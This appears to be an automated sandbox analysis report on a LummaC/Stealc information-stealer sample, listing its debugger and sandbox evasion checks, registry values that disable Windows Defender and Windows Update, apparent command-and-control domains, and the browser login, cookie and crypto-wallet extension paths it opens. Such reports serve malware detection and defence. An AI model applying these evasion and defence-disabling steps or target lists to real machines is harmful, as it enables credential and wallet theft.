Source: FBVmDbz2nb.exe, 00000000.00000003.1393642084.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415741852.00000000015B6000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1644387683.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1492171889.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1492566015.00000000015B7000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1513481028.00000000015B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: 225E7CNEQKY05J8BSS2KINA.exe, 00000003.00000002.1779034696.000000000043D000.00000040.00000001.01000000.00000006.sdmp, RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1757032243.00000000008FD000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe

Code function: 3_2_004389CE rdtsc

3_2_004389CE

Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe

Code function: 3_2_002BB96C LdrInitializeThunk,

3_2_002BB96C

Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: RBZFTNPOH3OCI4WNHGK52I3.exe PID: 1524, type: MEMORYSTR

LummaC encrypted strings found

Source: FBVmDbz2nb.exe, 00000000.00000003.1369561503.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: steppriflej.xyz
Source: FBVmDbz2nb.exe, 00000000.00000003.1369561503.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sendypaster.xyz
Source: FBVmDbz2nb.exe, 00000000.00000003.1369561503.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cuddlyready.xyz

Source: 225E7CNEQKY05J8BSS2KINA.exe, 00000003.00000002.1779262039.0000000000480000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: *Program Manager
Source: RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1757354409.0000000000940000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: EProgram Manager

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: FBVmDbz2nb.exe, FBVmDbz2nb.exe, 00000000.00000003.1513730507.0000000001583000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1513438070.0000000005E39000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1514041585.00000000015C0000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1513481028.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1517761363.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: FBVmDbz2nb.exe PID: 1380, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000004.00000003.1701899059.0000000004D40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1756467300.0000000000531000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1758332356.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RBZFTNPOH3OCI4WNHGK52I3.exe PID: 1524, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: FBVmDbz2nb.exe	String found in binary or memory: Wallets/Electrum-LTC
Source: FBVmDbz2nb.exe, 00000000.00000003.1492388797.00000000015EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: FBVmDbz2nb.exe	String found in binary or memory: window-state.json
Source: FBVmDbz2nb.exe, 00000000.00000003.1555320498.0000000001600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "},{"en":"cjelfplplebdjjenllpjcblmjkfcffne","ez":"Jaxx Liberty"},{"en":"fihk
Source: FBVmDbz2nb.exe, 00000000.00000003.1492310136.000000000157D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: FBVmDbz2nb.exe	String found in binary or memory: Wallets/Ethereum
Source: FBVmDbz2nb.exe, 00000000.00000003.1492171889.00000000015B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: FBVmDbz2nb.exe, 00000000.00000003.1492310136.000000000157D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
